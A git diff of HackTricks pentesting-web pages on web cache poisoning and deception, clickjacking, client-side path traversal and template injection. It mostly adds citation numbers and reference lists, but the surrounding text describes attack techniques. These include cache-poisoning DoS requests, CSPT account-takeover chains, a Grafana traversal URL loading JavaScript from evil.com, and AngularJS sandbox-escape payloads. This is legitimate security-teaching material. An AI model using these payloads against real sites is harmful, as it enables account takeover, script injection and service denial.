(_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type. @@ -381,7 +381,7 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S ### CSPT-assisted authenticated cache poisoning (Account Takeover) -This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call. +This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.[[10]](#references) High level idea: @@ -510,7 +510,7 @@ Practical checklist: - Then switch to a **top-level navigation** and verify that the cacheable response now contains victim-only data. - Re-request the exact cache-buster URL from a clean context and confirm the secret is returned from cache. -This turns a noisy, random WCD into a **targeted account-takeover primitive** whenever the cached HTML exposes reusable session material. +This turns a noisy, random WCD into a **targeted account-takeover primitive** whenever the cached HTML exposes reusable session material.[[15]](#references) ## Automatic Tools @@ -519,21 +519,22 @@ This turns a noisy, random WCD into a **targeted account-takeover primitive** wh ## References -- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) -- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) -- [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712) -- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/) -- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) -- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/) -- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) -- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace) -- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) -- [Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover](https://zere.es/posts/cache-deception-cspt-account-takeover/) -- [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/) -- [CSPT presentation by Maxence Schmitt](https://www.youtube.com/watch?v=O1ZN_OCfNzg) -- [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception) -- [Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class](https://herish.me/blog/cache-poisoning-case-studies-part-1-foundational-attacks/) -- [Cracking SameSite for a $2,000 Web Cache Deception](https://medium.com/@tinopreter/cracking-samesite-for-a-2-000-web-cache-deception-746972278412) +- [1] [PortSwigger: Web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning) +- [2] [PortSwigger: Exploiting web cache poisoning to exploit cookie-handling vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) +- [3] [HackerOne report #593712 - Web cache deception](https://hackerone.com/reports/593712) +- [4] [Cache Poisoning at Scale](https://youst.in/posts/cache-poisoning-at-scale/) +- [5] [How I test for Web Cache vulnerabilities - tips and tricks](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) +- [6] [How I hacked all Zendesk sites (265,000 sites) in one line](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/) +- [7] [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) +- [8] [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace) +- [9] [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) +- [10] [Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover](https://zere.es/posts/cache-deception-cspt-account-takeover/) +- [11] [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/) +- [12] [CSPT presentation by Maxence Schmitt](https://www.youtube.com/watch?v=O1ZN_OCfNzg) +- [13] [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception) +- [14] [Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class](https://herish.me/blog/cache-poisoning-case-studies-part-1-foundational-attacks/) +- [15] [Cracking SameSite for a $2,000 Web Cache Deception](https://medium.com/@tinopreter/cracking-samesite-for-a-2-000-web-cache-deception-746972278412) +- [16] [ChatGPT Account Takeover via Cloudflare CDN cache path traversal](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md index 610141b47b8..51900e5280f 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -29,7 +29,7 @@ curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age ### HTTP Header Oversize (HHO) -Send a request with a header block that is **accepted by the cache** but **rejected by the origin**. If the resulting 4xx page is cached, later normal requests will get the cached error. +Send a request with a header block that is **accepted by the cache** but **rejected by the origin**. If the resulting 4xx page is cached, later normal requests will get the cached error.[[3]](#references) ```http GET / HTTP/1.1 @@ -41,7 +41,7 @@ This is especially interesting when the **CDN/header limit is larger than the or ### HTTP Meta Character (HMC) & unexpected values -Send **control/meta characters** such as **`\0`**, **`\b`**, **`\r`**, or **`\n`**, or malformed values that the cache forwards but the origin refuses. Some origins also error on syntactically valid-but-unexpected values such as a bogus `Content-Type`. +Send **control/meta characters** such as **`\0`**, **`\b`**, **`\r`**, or **`\n`**, or malformed values that the cache forwards but the origin refuses. Some origins also error on syntactically valid-but-unexpected values such as a bogus `Content-Type`.[[3]](#references) ```http GET / HTTP/1.1 @@ -72,11 +72,11 @@ X-Cache: hit Invalid Header ``` -Also test `Forwarded`, `X-Forwarded-Host`, `X-Forwarded-Port`, and application-specific routing headers when they influence redirects or origin routing. +Also test `Forwarded`, `X-Forwarded-Host`, `X-Forwarded-Port`, and application-specific routing headers when they influence redirects or origin routing.[[1]](#references) ### HTTP Method Override Attack (HMO) -If the application or middleware supports method override headers such as `X-HTTP-Method-Override`, `X-HTTP-Method`, or `X-Method-Override`, you may be able to transform a normal `GET` into an unsupported or body-less method at the origin while the cache still stores the response under the `GET` key. +If the application or middleware supports method override headers such as `X-HTTP-Method-Override`, `X-HTTP-Method`, or `X-Method-Override`, you may be able to transform a normal `GET` into an unsupported or body-less method at the origin while the cache still stores the response under the `GET` key.[[3]](#references) ```http GET /app.js HTTP/1.1 @@ -101,7 +101,7 @@ X-Cache: miss ### Long Redirect DoS -If an unkeyed parameter is copied into a redirect target, you may be able to make the cache store a redirect that later resolves into `414 URI Too Large`, `431 Request Header Fields Too Large`, or another error on the follow-up request. +If an unkeyed parameter is copied into a redirect target, you may be able to make the cache store a redirect that later resolves into `414 URI Too Large`, `431 Request Header Fields Too Large`, or another error on the follow-up request.[[1]](#references) ```http GET /login?x=veryLongUrl HTTP/1.1 @@ -150,7 +150,7 @@ For delimiter/static-extension/static-directory tricks, see [Cache Poisoning via ### Fat GET -Some caches/origins reject **`GET` with a body**, or the origin reads parameters from the body while the cache keys only on the URL. This can poison an error or unexpected response under the clean `GET` cache key. +Some caches/origins reject **`GET` with a body**, or the origin reads parameters from the body while the cache keys only on the URL. This can poison an error or unexpected response under the clean `GET` cache key.[[1]](#references) ```http GET /index.html HTTP/2 @@ -171,10 +171,12 @@ Recent framework bugs showed that **CPDoS is not limited to classic 4xx/5xx cach - a **`200 OK`** response with **`Content-Length: 0`** - a response that was supposed to stay **`private, no-store`** but is coerced into **`s-maxage`** / **`stale-while-revalidate`** -In practice, this means a single crafted request can blank an HTML page or JS asset without needing a traditional error page. When testing modern frameworks, compare the same endpoint with and without framework-specific cache/data headers and watch for changes in **`Cache-Control`**, **body length**, and shared-cache headers. If you are assessing a Next.js target, also check [the Next.js page](../../network-services-pentesting/pentesting-web/nextjs.md) for framework-specific cache poisoning bugs. +In practice, this means a single crafted request can blank an HTML page or JS asset without needing a traditional error page. When testing modern frameworks, compare the same endpoint with and without framework-specific cache/data headers and watch for changes in **`Cache-Control`**, **body length**, and shared-cache headers. If you are assessing a Next.js target, also check [the Next.js page](../../network-services-pentesting/pentesting-web/nextjs.md) for framework-specific cache poisoning bugs.[[2]](#references) ## References -- [Responsible denial of service with web cache poisoning](https://portswigger.net/research/responsible-denial-of-service-with-web-cache-poisoning) -- [Next.JS vulnerability can lead to DoS via cache poisoning](https://github.com/advisories/GHSA-67rr-84xm-4c7r) +- [1] [Responsible denial of service with web cache poisoning](https://portswigger.net/research/responsible-denial-of-service-with-web-cache-poisoning) +- [2] [Next.JS vulnerability can lead to DoS via cache poisoning](https://github.com/advisories/GHSA-67rr-84xm-4c7r) +- [3] [Your Cache Has Fallen: Cache-Poisoned Denial-of-Service Attacks (CPDoS)](https://cpdos.org/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md index 78d1d8d7203..db162e16439 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -2,14 +2,14 @@ {{#include ../../banners/hacktricks-training.md}} -This is a summary of the techniques proposed in the post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) in order to perform cache poisoning attacks **abusing discrepancies between cache proxies and web servers.** +This is a summary of the techniques proposed in the post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) in order to perform cache poisoning attacks **abusing discrepancies between cache proxies and web servers.**[[1]](#references) > [!TIP] > The goal of this attack is to **make the cache server think that a static resource is being loaded** so it caches it while the cache server stores as cache key part of the path but the web server responds resolving another path. The web server will resolve the real path which will be loading a dynamic page (which might store sensitive information about the user, a malicious payload like XSS or redirecting to lo load a JS file from the attackers website for example). ## Delimiters -**URL delimiters** vary by framework and server, impacting how requests are routed and responses are handled. Some common origin delimiters are: +**URL delimiters** vary by framework and server, impacting how requests are routed and responses are handled.[[1]](#references) Some common origin delimiters are: - **Semicolon**: Used in Spring for matrix variables (e.g. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`). - **Dot**: Specifies response format in Ruby on Rails (e.g. `/MyAccount.css` → `/MyAccount`) @@ -29,7 +29,7 @@ Other specific delimiters might be found following this process: ### **Encodings** -Different HTTP servers and proxies like Nginx, Node, and CloudFront decode delimiters differently, leading to inconsistencies across CDNs and origin servers that could be exploited. For example, if the web server perform this transformation `/myAccount%3Fparam` → `/myAccount?param` but the cache server keeps as key the path `/myAccount%3Fparam`, there is an inconsistency. +Different HTTP servers and proxies like Nginx, Node, and CloudFront decode delimiters differently, leading to inconsistencies across CDNs and origin servers that could be exploited. For example, if the web server perform this transformation `/myAccount%3Fparam` → `/myAccount?param` but the cache server keeps as key the path `/myAccount%3Fparam`, there is an inconsistency.[[1]](#references) A way to check for these inconsistencies is to send requests URL encoding different chars after loading the path without any encoding and check if the encoded path response came from the cached response. @@ -40,7 +40,7 @@ Just like before, sending these kind of requests and checking if the response wa ## Static Resources -Several cache servers will always cache a response if it's identified as static. This might be because: +Several cache servers will always cache a response if it's identified as static.[[1]](#references) This might be because: - **The extension**: Cloudflare will always cache files with the following extensions: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx - It's possible to force a cache storing a dynamic response by using a delimiter and a static extension like a request to `/home$image.png` will cache `/home$image.png` and the origin server will respond with `/home` @@ -49,6 +49,10 @@ Several cache servers will always cache a response if it's identified as static. - **Static dirs + dots**: A request to `/static/..%2Fhome` or to `/static/..%5Chome` might be cached as is but the response might be `/home` - **Static files:** Some specific files are always cached like `/robots.txt`, `/favicon.ico`, and `/index.html`. Which can be abused like `/home/..%2Frobots.txt` where the cace might store `/robots.txt` and the origin server respond to `/home`. +## References + +- [1] [Gotta cache 'em all: bending the rules of web cache exploitation](https://portswigger.net/research/gotta-cache-em-all) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 0918d052b9e..235a2158bef 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -4,7 +4,7 @@ ## What is Clickjacking -In a clickjacking attack, a **user** is **tricked** into **clicking** an **element** on a webpage that is either **invisible** or disguised as a different element. This manipulation can lead to unintended consequences for the user, such as the downloading of malware, redirection to malicious web pages, provision of credentials or sensitive information, money transfers, or the online purchasing of products. +In a clickjacking attack, a **user** is **tricked** into **clicking** an **element** on a webpage that is either **invisible** or disguised as a different element. This manipulation can lead to unintended consequences for the user, such as the downloading of malware, redirection to malicious web pages, provision of credentials or sensitive information, money transfers, or the online purchasing of products.[[1]](#references) ### Prepopulate forms trick @@ -12,7 +12,7 @@ Sometimes is possible to **fill the value of fields of a form using GET paramete ### Populate form with Drag\&Drop -If you need the user to **fill a form** but you don't want to directly ask him to write some specific information (like the email and or specific password that you know), you can just ask him to **Drag\&Drop** something that will write your controlled data like in [**this example**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). +If you need the user to **fill a form** but you don't want to directly ask him to write some specific information (like the email and or specific password that you know), you can just ask him to **Drag\&Drop** something that will write your controlled data like in [**this example**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).[[10]](#references) ### Basic Payload @@ -103,7 +103,7 @@ An attacker could prepare a **Clickjacking** attack to that page **prepopulating ### DoubleClickjacking -Firstly [explained in this post](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the **victim actually clicks a legit button in the victim page**. +Firstly [explained in this post](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the **victim actually clicks a legit button in the victim page**.[[11]](#references)[[12]](#references) An example could be seen in this video: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18) @@ -131,7 +131,7 @@ onclick = () => { ### SVG Filters / Cross-Origin Iframe UI Redressing -Modern Chromium/WebKit/Gecko builds let CSS `filter:url(#id)` be applied to cross-origin iframes. The iframe’s rasterized pixels are exposed to the SVG filter graph as `SourceGraphic`, so primitives such as `feDisplacementMap`, `feBlend`, `feComposite`, `feColorMatrix`, `feTile`, `feMorphology`, etc. can arbitrarily warp the victim UI before the user sees it, even though the attacker never touches the DOM. A simple Liquid-Glass style filter looks like: +Modern Chromium/WebKit/Gecko builds let CSS `filter:url(#id)` be applied to cross-origin iframes. The iframe’s rasterized pixels are exposed to the SVG filter graph as `SourceGraphic`, so primitives such as `feDisplacementMap`, `feBlend`, `feComposite`, `feColorMatrix`, `feTile`, `feMorphology`, etc. can arbitrarily warp the victim UI before the user sees it, even though the attacker never touches the DOM.[[4]](#references) A simple Liquid-Glass style filter looks like: ```html @@ -207,14 +207,14 @@ A sandboxed iframe without `allow-popups` can still surface a browser-controlled ``` -Once the response arrives, the browser prompts for credentials even though popups are disallowed. Framing a trusted origin with this trick enables UI redress/phishing: unexpected modal prompts inside a "sandboxed" widget can confuse users or trigger password managers to offer stored credentials. +Once the response arrives, the browser prompts for credentials even though popups are disallowed. Framing a trusted origin with this trick enables UI redress/phishing: unexpected modal prompts inside a "sandboxed" widget can confuse users or trigger password managers to offer stored credentials.[[5]](#references)[[6]](#references)[[7]](#references) ### Browser extensions: DOM-based autofill clickjacking -Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Password managers render autofill dropdowns near focused inputs; by focusing an attacker-controlled field and hiding/occluding the extension’s dropdown (opacity/overlay/top-layer tricks), a coerced user click can select a stored item and fill sensitive data into attacker-controlled inputs. This variant requires no iframe exposure and works entirely via DOM/CSS manipulation. +Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Password managers render autofill dropdowns near focused inputs; by focusing an attacker-controlled field and hiding/occluding the extension’s dropdown (opacity/overlay/top-layer tricks), a coerced user click can select a stored item and fill sensitive data into attacker-controlled inputs. This variant requires no iframe exposure and works entirely via DOM/CSS manipulation.[[3]](#references) -A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where **XSS on the relying-party domain** allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection. +A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where **XSS on the relying-party domain** allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.[[9]](#references) - For concrete techniques and PoCs see: {{#ref}} @@ -244,7 +244,7 @@ However, these frame-busting scripts may be circumvented: sandbox="allow-forms allow-scripts"> ``` -The `allow-forms` and `allow-scripts` values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like `allow-same-origin` and `allow-modals` might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow. +The `allow-forms` and `allow-scripts` values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like `allow-same-origin` and `allow-modals` might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.[[2]](#references) ### Server-Side Defenses @@ -319,14 +319,17 @@ if (top !== self) { ## References -- [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking) -- [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html) -- [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/) -- [SVG Filters - Clickjacking 2.0](https://lyra.horse/blog/2025/12/svg-clickjacking/) -- [Iframe sandbox Basic Auth modal](https://phor3nsic.github.io/2026/01/21/trick-iframe-sandbox.html) -- [Chromestatus: Restrict sandboxed frame dialogs](https://chromestatus.com/feature/4747009953103872) -- [Chromium issue about sandboxed auth dialogs](https://issues.chromium.org/issues/40266321) -- [DoubleClickjacking PoC details (evil.blog)](https://www.evil.blog/2024/12/doubleclickjacking-what.html) -- [Dashlane passkey dialog clickjacking advisory](https://support.dashlane.com/hc/en-us/articles/28598967624722-Security-advisory-Passkey-Dialog-Clickjacking-Issue) +- [1] [Clickjacking (PortSwigger Web Security Academy)](https://portswigger.net/web-security/clickjacking) +- [2] [Clickjacking Defense Cheat Sheet (OWASP)](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html) +- [3] [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/) +- [4] [SVG Filters - Clickjacking 2.0](https://lyra.horse/blog/2025/12/svg-clickjacking/) +- [5] [Iframe sandbox Basic Auth modal](https://phor3nsic.github.io/2026/01/21/trick-iframe-sandbox.html) +- [6] [Chromestatus: Restrict sandboxed frame dialogs](https://chromestatus.com/feature/4747009953103872) +- [7] [Chromium issue about sandboxed auth dialogs](https://issues.chromium.org/issues/40266321) +- [8] [DoubleClickjacking PoC details (evil.blog)](https://www.evil.blog/2024/12/doubleclickjacking-what.html) +- [9] [Dashlane passkey dialog clickjacking advisory](https://support.dashlane.com/hc/en-us/articles/28598967624722-Security-advisory-Passkey-Dialog-Clickjacking-Issue) +- [10] [Clickjacking to Account Takeover via Drag&Drop](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) +- [11] [DoubleClickjacking: a New Era of UI Redressing (Paulos Yibelo)](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html) +- [12] [DoubleClickjacking: Clickjacking on major websites (Security Affairs)](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/client-side-path-traversal.md b/src/pentesting-web/client-side-path-traversal.md index be6b1daeadb..43b72a8021b 100644 --- a/src/pentesting-web/client-side-path-traversal.md +++ b/src/pentesting-web/client-side-path-traversal.md @@ -26,16 +26,16 @@ Typical sinks (where the traversal lands): ### Example findings -- In [**this writeup**](https://erasec.be/blog/client-side-path-manipulation/), it was possible to **change the invite URL** so it would end up **canceling a card**. -- In [**this writeup**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), it was possible to combine a **client side path traversal via CSS** (it was possible to change the path where a CSS resource was loaded from) with an **open redirect** to load the CSS resource from an **attacker controlled domain**. -- In [**this writeup**](https://blog.doyensec.com/2024/07/02/cspt2csrf.html), it's possible to see a technique on how to abuse CSPT **to perform a CSRF attack**. This is done by **monitoring all the data** that an attacker can control (URL path, parameters, fragment, data injected in the DB...) **and the sinks** this data ends (requests being performed). +- In [**this writeup**](https://erasec.be/blog/client-side-path-manipulation/), it was possible to **change the invite URL** so it would end up **canceling a card**.[[6]](#references) +- In [**this writeup**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), it was possible to combine a **client side path traversal via CSS** (it was possible to change the path where a CSS resource was loaded from) with an **open redirect** to load the CSS resource from an **attacker controlled domain**.[[7]](#references) +- In [**this writeup**](https://blog.doyensec.com/2024/07/02/cspt2csrf.html), it's possible to see a technique on how to abuse CSPT **to perform a CSRF attack**. This is done by **monitoring all the data** that an attacker can control (URL path, parameters, fragment, data injected in the DB...) **and the sinks** this data ends (requests being performed).[[8]](#references) - Check [**this browser extension**](https://addons.mozilla.org/en-US/firefox/addon/eval-villain/) to monitor that. - Check this [**CSPT playground**](https://github.com/doyensec/CSPTPlayground) to try the technique. - Check [**this tutorial**](https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html) on how to use the browser extension in the playground. ## CSPT-assisted web cache poisoning/deception -CSPT can be chained with extension-based CDN caching to exfiltrate sensitive JSON leaked by authenticated API calls: +CSPT can be chained with extension-based CDN caching to exfiltrate sensitive JSON leaked by authenticated API calls:[[1]](#references) - A frontend concatenates user-controlled input into an API path and attaches authentication headers in fetch/XHR. - By injecting dot-segments (../) you can retarget the authenticated request to a different endpoint on the same origin. @@ -54,7 +54,7 @@ See details and mitigations in the Cache Deception page: [Cache Poisoning and Ca ### Passive discovery with intercepting proxies -- **Correlate sources/sinks automatically**: the [CSPT Burp extension](https://github.com/doyensec/CSPTBurpExtension) parses your proxy history, clusters parameters that are later reflected inside other requests’ paths, and can reissue proof-of-concept URLs with canary tokens to confirm exploitable traversals. After loading the JAR, set the `Source Scope` to client parameters (e.g., `id`, `slug`) and the `Sink Methods` to `GET, POST, DELETE` so the extension highlights dangerous request builders. You can export all suspect sources with an embedded canary to validate them in bulk. +- **Correlate sources/sinks automatically**: the [CSPT Burp extension](https://github.com/doyensec/CSPTBurpExtension) parses your proxy history, clusters parameters that are later reflected inside other requests’ paths, and can reissue proof-of-concept URLs with canary tokens to confirm exploitable traversals. After loading the JAR, set the `Source Scope` to client parameters (e.g., `id`, `slug`) and the `Sink Methods` to `GET, POST, DELETE` so the extension highlights dangerous request builders. You can export all suspect sources with an embedded canary to validate them in bulk.[[5]](#references) - **Look for double-URL-decoding**: while browsing with Burp or ZAP, watch for `/api/%252e%252e/` patterns that get normalized by the frontend before hitting the network—these usually show up as base64-encoded JSON bodies referencing route state and are easy to overlook without an automated scanner. ### Instrumenting SPA sinks manually @@ -84,7 +84,7 @@ Dropping a short snippet in DevTools helps surface hidden traversals while you i ## Recent case studies (2025) -- **Grafana OSS CVE-2025-4123/6023 (v11.5.0+)** – A traversal gadget inside `/public/plugins/` let attackers smuggle `../../` into the plugin asset loader, chain it with Grafana’s open redirect, and force victims to load attacker-controlled plugin bundles. When anonymous dashboards were enabled, a crafted URL such as `https://grafana.example.com/public/plugins/../../../../..//evil.com/poc/module.js` resulted in the browser executing remote JavaScript; if the Image Renderer plugin was installed, the same primitive could be flipped into SSRF by redirecting rendering requests toward internal hosts. Always test plugin asset paths, anonymous dashboards, and renderer endpoints together because a single traversal often gives you both XSS and SSRF angles. +- **Grafana OSS CVE-2025-4123/6023 (v11.5.0+)** – A traversal gadget inside `/public/plugins/` let attackers smuggle `../../` into the plugin asset loader, chain it with Grafana’s open redirect, and force victims to load attacker-controlled plugin bundles. When anonymous dashboards were enabled, a crafted URL such as `https://grafana.example.com/public/plugins/../../../../..//evil.com/poc/module.js` resulted in the browser executing remote JavaScript; if the Image Renderer plugin was installed, the same primitive could be flipped into SSRF by redirecting rendering requests toward internal hosts. Always test plugin asset paths, anonymous dashboards, and renderer endpoints together because a single traversal often gives you both XSS and SSRF angles.[[4]](#references) ## Payload cookbook @@ -97,10 +97,13 @@ Dropping a short snippet in DevTools helps surface hidden traversals while you i ## References -- [Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover](https://zere.es/posts/cache-deception-cspt-account-takeover/) -- [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/) -- [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception) -- [Grafana CVE-2025-4123 Chained Path Traversal + Open Redirect Analysis](https://www.cve.news/cve-2025-4123/) -- [Doyensec CSPT Burp Extension](https://github.com/doyensec/CSPTBurpExtension) +- [1] [Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover](https://zere.es/posts/cache-deception-cspt-account-takeover/) +- [2] [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/) +- [3] [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception) +- [4] [Grafana CVE-2025-4123 Chained Path Traversal + Open Redirect Analysis](https://www.cve.news/cve-2025-4123/) +- [5] [Doyensec CSPT Burp Extension](https://github.com/doyensec/CSPTBurpExtension) +- [6] [Client-Side Path Manipulation (erasec)](https://erasec.be/blog/client-side-path-manipulation/) +- [7] [Practical Client-Side Path Traversal Attacks (mr-medi)](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html) +- [8] [CSPT2CSRF (Doyensec)](https://blog.doyensec.com/2024/07/02/cspt2csrf.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 3e2506c7c14..e906b2680da 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -25,7 +25,7 @@ Quick workflow: 3. If the expression is evaluated, switch to framework-specific RCE/XSS payloads 4. If `{{...}}` is not evaluated, look for **directive/event sinks** (`ng-focus`, `v-html`, inline bindings, alternate delimiters, or dynamic template compilation) -OWASP's current WSTG recommends identifying the framework first and then checking whether your reflection is re-parsed as a template rather than only inserted as inert text/HTML. +OWASP's current WSTG recommends identifying the framework first and then checking whether your reflection is re-parsed as a template rather than only inserted as inert text/HTML.[[1]](#references) ## AngularJS @@ -45,7 +45,7 @@ In scenarios where user input is dynamically inserted into the HTML body tagged You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) and in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) > [!CAUTION] -> [**Angular 1.6 removed the sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so from this version a payload like `{{constructor.constructor('alert(1)')()}}` or `` should work. +> [**Angular 1.6 removed the sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so from this version a payload like `{{constructor.constructor('alert(1)')()}}` or `` should work.[[3]](#references) ### Version-aware exploitation @@ -71,7 +71,7 @@ And the **source code** of the vulnerable example here: [https://github.com/azu/ ">
aaa
